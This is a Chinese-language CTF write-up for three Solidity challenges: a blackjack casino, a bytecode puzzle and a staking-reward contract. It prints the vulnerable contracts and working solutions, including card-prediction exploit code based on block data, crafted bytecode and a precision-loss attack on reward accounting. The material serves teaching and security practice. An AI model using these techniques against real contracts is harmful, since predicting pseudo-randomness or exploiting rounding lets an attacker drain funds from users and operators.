4.Casino_BLACKJACK

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./casino.sol";

contract Exploit {
using Deck for *;
Casino public casino;
fallback() external payable {}
receive() external payable {}
constructor(Casino _casino) {
casino = _casino;
}

function _calculateScore(uint8[] memory cards) internal pure returns (uint8, uint8) {
uint8 score = 0;
uint8 scoreBig = 0; // in case of Ace there could be 2 different scores
bool bigAceUsed = false;
for (uint256 i = 0; i < cards.length; ++i) {
uint8 card = cards[i];
if (Deck.isAce(card) && !bigAceUsed) {
// doesn't make sense to use the second Ace as 11, because it leads to the losing
scoreBig += Deck.valueOf(card, true);
bigAceUsed = true;
} else {
scoreBig += Deck.valueOf(card, false);
}
score += Deck.valueOf(card, false);
}
return (score, scoreBig);
}


}

我的思路

阅读代码 发现给player随机牌是通过block.number和block.timestamp生成的,但是这两参数不是随机的,是可以知晓的,也就是说这个“随机牌”不随机哈

经常玩黑杰克的朋友都知道,要想自己手中牌接近21点且不爆,就需要合理的要牌停牌,在我们知道其他player的随机牌后 就可以根据这个“合理”的要牌停牌了。再看得分规则,和传统黑杰克相似,

除了赔付规则变成:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
if (playerScore == BLACKJACK || playerScoreBig == BLACKJACK) {//等于21
if(game.playerCards.length == 2 && (Deck.isTen(ga\me.playerCards[0]) || Deck.isTen(game.playerCards[1]))) {
if(!payable(msg.sender).send((game.bet * 5) / 2)) revert();}
//始手牌为ace+10点,赔2.5倍
else {
if(!payable(msg.sender).send(game.bet * 2)) revert();
//>2张所凑成的21,赔2倍
}
games[msg.sender].state = GameState.Player;
return;
} else {
if (playerScore > BLACKJACK) {
emit Log(1);
//爆、直接负
games[msg.sender].state = GameState.House;
return;
}

前面还有一个关于庄贤平局的说明

1
2
3
4
5
6
7
8
9
10
11
if (houseScoreBig == BLACKJACK || houseScore == BLACKJACK) {
if (playerScore == BLACKJACK || playerScoreBig == BLACKJACK) {
if (!payable(msg.sender).send(game.bet)) revert();
games[msg.sender].state = GameState.Tie;
return;
} else {
games[msg.sender].state = GameState.House;
return;
}

//不知道有没有分牌平局 我没考虑这个

就是直接相等就平了(没有庄家大半点一说)

直接返还双方本金

那么如果我要赢:

  1. 尽量拿到ace+10
  2. 让庄家爆牌(庄家的牌我们是能知道的)

思路:

  1. 开始游戏Casino.deal()

  2. 通过b.numberb.timestamp算下一张牌

  3. 选择hit orstand

  4. 直接让庄家爆牌

获取庄家明牌:

1
uint8 houseCard = casino.getHouseCard(0);

算牌:

1
2
3
4
5
function predictCard(uint8 cardNumber) private view returns (uint8) {
uint256 b = block.number;
uint256 timestamp = block.timestamp;
return uint8(uint256(keccak256(abi.encodePacked(blockhash(b), address(this), cardNumber, timestamp)) % 52);//一副牌去掉大小joker
}

计算下一张牌是否会让庄爆牌,会就让庄家摸牌

1
2
3
4
5
6
7
8
9
uint8 houseScore = getCardValue(houseCard);
uint8 nextCard = predictNextCard(3);
uint8 nextCardValue = getCardValue(nextCard);

if (houseScore + nextCardValue > 21) {
casino.stand(); // 庄家必须抽牌
} else {
casino.hit();
}

过程:

1.deploy Casino.sol

得到addr:

0xC3Ba5050Ec45990f76474163c5bA673c244aaECA

  1. deploy hacker.sol

    填入地址参数

    image.png

  2. 开始攻击

    (下注最小钱数)

    image.png

    image.png

  3. 可以再写一个自动转钱

    1
    2
    3
    uint256 balance = address(this).balance;
    (bool success, ) = owner.call{value: balance}("");
    require(success, "fail");
  4. forge test

题解

知识点 伪随机数
解析:发牌过程在 Deck.deal() 函数内处理。发牌过程涉及计算 blockhash、玩家地址、已发牌数和 block.timestamp 的哈希。这是一个伪随机性,可以简单地通过等待所需的区块,根据新数据重新计算游戏结果。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//尝试获取一手得分为 21(即 Blackjack)的牌,如果成功,就调用 casino.deal{value: 5 ether}() 下注;否则,把攻击者发送的 msg.value 退回去,避免损失。

function attack() public payable {

uint8[] memory playerCards = new uint8[](2);//存储玩家的两张牌
playerCards[0] = Deck.deal(address(this), 0);
playerCards[1] = Deck.deal(address(this), 2);

(uint8 score, uint8 scoreBig) = _calculateScore(playerCards);//判断能否达到21

if (scoreBig == 21 || score == 21) {
casino.deal{value: 5 ether}();
//调用 casino.deal()下注
} else {
payable(msg.sender).transfer(msg.value);
//如果不是21点就退款
}
}

5. Dance

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract ByteDance {
bool solved;

constructor() {
solved = false;
}

function checkCode(address _yourContract) public {

require(!solved, "Challenge already solved");

bytes memory code;
uint256 size;
bool hasDanceByte = false;
assembly {
size := extcodesize(_yourContract)
code := mload(0x40)
mstore(0x40, add(code, and(add(add(size, 0x20), 0x1f), not(0x1f))))
mstore(code, size)
extcodecopy(_yourContract, add(code, 0x20), 0, size)
}
//上面的assemble就是将_yourContract的字节码复制到code

for (uint256 i = 0; i < size; i++) {
bytes1 b = code[i];
if (isByteDance(b)) {
hasDanceByte = true;
}
require(isOddByte(b), "Byte is not odd");
}
require(hasDanceByte, "No palindrome byte found");

(bool success,) = _yourContract.delegatecall("");
require(success, "Delegatecall failed");
}

function isOddByte(bytes1 b) public pure returns (bool) {
return (uint8(b) % 2) == 1;
}

function isByteDance(bytes1 b) public pure returns (bool) {

bool isPal = true;
assembly {
let bVal := byte(0, b)
for { let i := 0 } lt(i, 4) { i := add(i, 1) }
{

let bitLeft := and(shr(sub(7, i), bVal), 0x01)

let bitRight := and(shr(i, bVal), 0x01)

if iszero(eq(bitLeft, bitRight)) {

isPal := 0
}
}
}
return isPal;
}

function isSolved() public view returns(bool){
return solved;
}

}

题解

知识点:字节码问题

解析:只需要构建正确的字节码0x611101611111611111035561ff,以及理解字节码逻辑就可以完成解题。

1
2
3
4
5
6
7
8
9
contract expoliter {//0x611101611111611111035561ff   解决
constructor() {
bytes memory code = hex'611101611111611111035561ff';
assembly {

return (add(code, 0x20), mload(code))
}
}
}

6. stake

StakingReward合约用于为质押者分配奖励,你可以削减质押者应得的奖励吗?

做题流程

remix

  1. 部署setUp1合约 (部署题目)
  2. 与第一步部署的合约交互
  3. isSolved()返回true时视为完成题目

forge

  1. 在try_exploit函数代码注释下补充的攻击流程
  2. 运行forge test 测试test_solve通过视为完成题目
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.9;
abstract contract ERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);

event Approval(
address indexed owner,
address indexed spender,
uint256 value
);

mapping(address => uint256) private _balances;

mapping(address => mapping(address => uint256)) private _allowances;

uint256 private _totalSupply;

string private _name;
string private _symbol;
uint8 private _decimals;

constructor(string memory name_, string memory symbol_, uint8 decimals_) {
_name = name_;
_symbol = symbol_;
_decimals = decimals_;
}

function name() public view virtual returns (string memory) {
return _name;
}

function symbol() public view virtual returns (string memory) {
return _symbol;
}

function decimals() public view virtual returns (uint8) {
return _decimals;
}

function totalSupply() public view virtual returns (uint256) {
return _totalSupply;
}

function balanceOf(address account) public view virtual returns (uint256) {
return _balances[account];
}

function transfer(address to, uint256 value) public virtual returns (bool) {
address owner = msg.sender;
_transfer(owner, to, value);
return true;
}

function allowance(
address owner,
address spender
) public view virtual returns (uint256) {
return _allowances[owner][spender];
}

function approve(
address spender,
uint256 value
) public virtual returns (bool) {
address owner = msg.sender;
_approve(owner, spender, value);
return true;
}

function transferFrom(
address from,
address to,
uint256 value
) public virtual returns (bool) {
address spender = msg.sender;
_spendAllowance(from, spender, value);
_transfer(from, to, value);
return true;
}

function _transfer(address from, address to, uint256 value) internal {
if (from == address(0)) {
revert();
}
if (to == address(0)) {
revert();
}
_update(from, to, value);
}

function _update(address from, address to, uint256 value) internal virtual {
if (from == address(0)) {
// Overflow check required: The rest of the code assumes that totalSupply never overflows
_totalSupply += value;
} else {
uint256 fromBalance = _balances[from];
if (fromBalance < value) {
revert();
}
unchecked {
// Overflow not possible: value <= fromBalance <= totalSupply.
_balances[from] = fromBalance - value;
}
}

if (to == address(0)) {
unchecked {
// Overflow not possible: value <= totalSupply or value <= fromBalance <= totalSupply.
_totalSupply -= value;
}
} else {
unchecked {
// Overflow not possible: balance + value is at most totalSupply, which we know fits into a uint256.
_balances[to] += value;
}
}

emit Transfer(from, to, value);
}

function _mint(address account, uint256 value) internal {
if (account == address(0)) {
revert();
}
_update(address(0), account, value);
}

function _burn(address account, uint256 value) internal {
if (account == address(0)) {
revert();
}
_update(account, address(0), value);
}

function _approve(address owner, address spender, uint256 value) internal {
_approve(owner, spender, value, true);
}

function _approve(
address owner,
address spender,
uint256 value,
bool emitEvent
) internal virtual {
if (owner == address(0)) {
revert();
}
if (spender == address(0)) {
revert();
}
_allowances[owner][spender] = value;
if (emitEvent) {
emit Approval(owner, spender, value);
}
}

function _spendAllowance(
address owner,
address spender,
uint256 value
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
if (currentAllowance < value) {
revert();
}
unchecked {
_approve(owner, spender, currentAllowance - value, false);
}
}
}
}

contract SCTF is ERC20 {
constructor(
address owner,
uint supply,
uint8 decimals
) ERC20("SCTF", "sctf", decimals) {
_mint(owner, supply);
}
}

contract USDC is ERC20 {
constructor(
address owner,
uint supply,
uint8 decimals
) ERC20("USDC", "usdc", decimals) {
_mint(owner, supply);
}
}

contract StakingReward {
struct Checkpoint {
uint64 ts;
uint128 value;
}

uint256 public block_timestamp;
// CONSTANTS/IMMUTABLES

uint256 public constant MIN_COOLDOWN_PERIOD = 1 days;

uint256 public constant MAX_COOLDOWN_PERIOD = 10 days;

ERC20 public immutable usdc;
ERC20 public immutable SCTF;

//state

mapping(address => Checkpoint[]) public balancesCheckpoints;

Checkpoint[] public totalSupplyCheckpoints;

uint256 public periodFinish;

uint256 public rewardsDuration;

uint256 public lastUpdateTime;

uint256 public cooldownPeriod;

address public owner;

mapping(address => uint256) public userLastStakeTime;

uint256 public rewardRateUSDC;

uint256 public rewardPerTokenStoredUSDC;

mapping(address => uint256) public userRewardPerTokenPaidUSDC;

mapping(address => uint256) public rewardsUSDC;

//auth

modifier onlyOwner() {
require(msg.sender == owner, "Not Owner");
_;
}

modifier afterCooldown(address _account) {
_afterCooldown(_account);
_;
}

function _afterCooldown(address _account) internal view {
uint256 canUnstakeAt = userLastStakeTime[_account] + cooldownPeriod;
if (canUnstakeAt > block_timestamp) revert();
}

//CONSTRUCTOR / INITIALIZER

constructor(address _usdc, address sctf) {
usdc = ERC20(_usdc);
SCTF = ERC20(sctf);
owner = msg.sender;

rewardsDuration = 5 days;
cooldownPeriod = 10 days;
block_timestamp = block.timestamp;
}

//views

function totalSupply() public view returns (uint256) {
uint256 length = totalSupplyCheckpoints.length;
unchecked {
return length == 0 ? 0 : totalSupplyCheckpoints[length - 1].value;
}
}

function balanceOf(address _account) public view returns (uint256) {
Checkpoint[] storage checkpoints = balancesCheckpoints[_account];
uint256 length = checkpoints.length;
unchecked {
return length == 0 ? 0 : checkpoints[length - 1].value;
}
}

//STAKE/UNSTAKE

function stake(uint256 _amount) external updateReward(msg.sender) {
if (_amount == 0) return;

// update state
userLastStakeTime[msg.sender] = block_timestamp;
_addTotalSupplyCheckpoint(totalSupply() + _amount);
_addBalancesCheckpoint(msg.sender, balanceOf(msg.sender) + _amount);

// transfer token to this contract from the caller
SCTF.transferFrom(msg.sender, address(this), _amount);
}

function unstake(
uint256 _amount
) public updateReward(msg.sender) afterCooldown(msg.sender) {
if (_amount == 0) return;
uint256 balance = balanceOf(msg.sender);
if (_amount > balance) revert();

_addTotalSupplyCheckpoint(totalSupply() - _amount);
_addBalancesCheckpoint(msg.sender, balanceOf(msg.sender) - _amount);

SCTF.transfer(msg.sender, _amount);
}

//CLAIM REWARDS

function getReward() external {
_getReward(msg.sender);
}

function _getReward(address _account) internal {
_getReward(_account, _account);
}

function _getReward(
address _account,
address _to
) internal updateReward(_account) {
uint256 rewardUSDC = rewardsUSDC[_account];
if (rewardUSDC > 0) {
// update state (first)
rewardsUSDC[_account] = 0;

// transfer token from this contract to the account
// as newly issued rewards from inflation are now issued as non-escrowed
usdc.transfer(_to, rewardUSDC);
}
}

//REWARD UPDATE CALCULATIONS


/// @notice update reward state for the account and contract
/// @param _account: address of account which rewards are being updated for
/// @dev contract state not specific to an account will be updated also
modifier updateReward(address _account) {
_updateReward(_account);
_;
}

function _updateReward(address _account) internal {
rewardPerTokenStoredUSDC = rewardPerTokenUSDC();
lastUpdateTime = lastTimeRewardApplicable();

if (_account != address(0)) {
rewardsUSDC[_account] = earnedUSDC(_account);

userRewardPerTokenPaidUSDC[_account] = rewardPerTokenStoredUSDC;
}
}

function rewardPerTokenUSDC() public view returns (uint256) {
uint256 allTokensStaked = totalSupply();

if (allTokensStaked == 0) {
return rewardPerTokenStoredUSDC;
}

return
rewardPerTokenStoredUSDC +
(((lastTimeRewardApplicable() - lastUpdateTime) *
rewardRateUSDC *
1e18) / allTokensStaked);
}

function lastTimeRewardApplicable() public view returns (uint256) {
return block_timestamp < periodFinish ? block_timestamp : periodFinish;
}

function earnedUSDC(address _account) public view returns (uint256) {
uint256 totalBalance = balanceOf(_account);

return
((totalBalance *
(rewardPerTokenUSDC() - userRewardPerTokenPaidUSDC[_account])) /
1e18) + rewardsUSDC[_account];
}

//CHECKPOINTING VIEWS


function balancesCheckpointsLength(
address _account
) external view returns (uint256) {
return balancesCheckpoints[_account].length;
}

function totalSupplyCheckpointsLength() external view returns (uint256) {
return totalSupplyCheckpoints.length;
}

function balanceAtTime(
address _account,
uint256 _timestamp
) external view returns (uint256) {
return
_checkpointBinarySearch(balancesCheckpoints[_account], _timestamp);
}

function totalSupplyAtTime(
uint256 _timestamp
) external view returns (uint256) {
return _checkpointBinarySearch(totalSupplyCheckpoints, _timestamp);
}

function _checkpointBinarySearch(
Checkpoint[] storage _checkpoints,
uint256 _timestamp
) internal view returns (uint256) {
uint256 length = _checkpoints.length;
if (length == 0) return 0;

uint256 min = 0;
uint256 max = length - 1;

if (_checkpoints[min].ts > _timestamp) return 0;
if (_checkpoints[max].ts <= _timestamp) return _checkpoints[max].value;

while (max > min) {
uint256 midpoint = (max + min + 1) / 2;
if (_checkpoints[midpoint].ts <= _timestamp) min = midpoint;
else max = midpoint - 1;
}

assert(min == max);

return _checkpoints[min].value;
}

//UPDATE CHECKPOINTS


function _addBalancesCheckpoint(address _account, uint256 _value) internal {
_addCheckpoint(balancesCheckpoints[_account], _value);
}

function _addTotalSupplyCheckpoint(uint256 _value) internal {
_addCheckpoint(totalSupplyCheckpoints, _value);
}

function _addCheckpoint(
Checkpoint[] storage checkpoints,
uint256 _value
) internal {
uint256 length = checkpoints.length;
uint256 lastTimestamp;
unchecked {
lastTimestamp = length == 0 ? 0 : checkpoints[length - 1].ts;
}

if (lastTimestamp != block_timestamp) {
checkpoints.push(
Checkpoint({
ts: uint64(block_timestamp),
value: uint128(_value)
})
);
} else {
unchecked {
checkpoints[length - 1].value = uint128(_value);
}
}
}

//settings

function notifyRewardAmount(
uint256 _rewardUsdc
) external onlyOwner updateReward(address(0)) {
if (block_timestamp >= periodFinish) {
rewardRateUSDC = _rewardUsdc / rewardsDuration;
} else {
uint256 remaining = periodFinish - block_timestamp;

uint256 leftoverUsdc = remaining * rewardRateUSDC;
rewardRateUSDC = (_rewardUsdc + leftoverUsdc) / rewardsDuration;
}

lastUpdateTime = block_timestamp;
periodFinish = block_timestamp + rewardsDuration;
}

function setRewardsDuration(uint256 _rewardsDuration) external onlyOwner {
if (block_timestamp <= periodFinish) revert();
if (_rewardsDuration == 0) revert();

rewardsDuration = _rewardsDuration;
}

function setCooldownPeriod(uint256 _cooldownPeriod) external onlyOwner {
if (_cooldownPeriod < MIN_COOLDOWN_PERIOD) revert();
if (_cooldownPeriod > MAX_COOLDOWN_PERIOD) {
revert();
}

cooldownPeriod = _cooldownPeriod;
}

function vm_warp(uint256 warp) public {
if (periodFinish != 0) {
require(block_timestamp + warp <= periodFinish, "error time warp");
}
block_timestamp += warp;
}
}

contract setUp1 {
StakingReward public staking;
address public player;
SCTF public sctf;
USDC public usdc;
bool isClaimed;
constructor() {
sctf = new SCTF(address(this), 120_000e18 + 10e18, 18);
usdc = new USDC(address(this), 1_00e6, 6);
staking = new StakingReward(address(usdc), address(sctf));
sctf.approve(address(staking), 120_000e18);
staking.stake(120_000e18);
staking.vm_warp(1);
usdc.transfer(address(staking), 100e6);
staking.notifyRewardAmount(100e6);
}

function registerPlayer() public {
require(staking.block_timestamp() != staking.periodFinish());
require(player == address(0), "Already Registered");
player = msg.sender;
sctf.transfer(player, 10e18);
}

function claimReward() public {
require(staking.block_timestamp() == staking.periodFinish());
require(!isClaimed);
staking.getReward();
isClaimed = true;
}

function isSolved() public view returns (bool) {
if (
player != address(0) &&
isClaimed &&
(usdc.balanceOf(address(this)) < 1e6)
) {
return true;
}
return false;
}
}

题解

知识点:舍入问题

解析:由于奖励代币USDC精度较小,仅有6位小数,并且总质押量大,因此在奖励计算时如果相隔时间小由于精度损失会让让 rewardPerTokenStoredUSDC不会增加,导致奖励代币被卡在合约中不能分发。

因此只需要频繁调用合约中的函数来更新rewardPerTokenStoredUSDC就可完成题目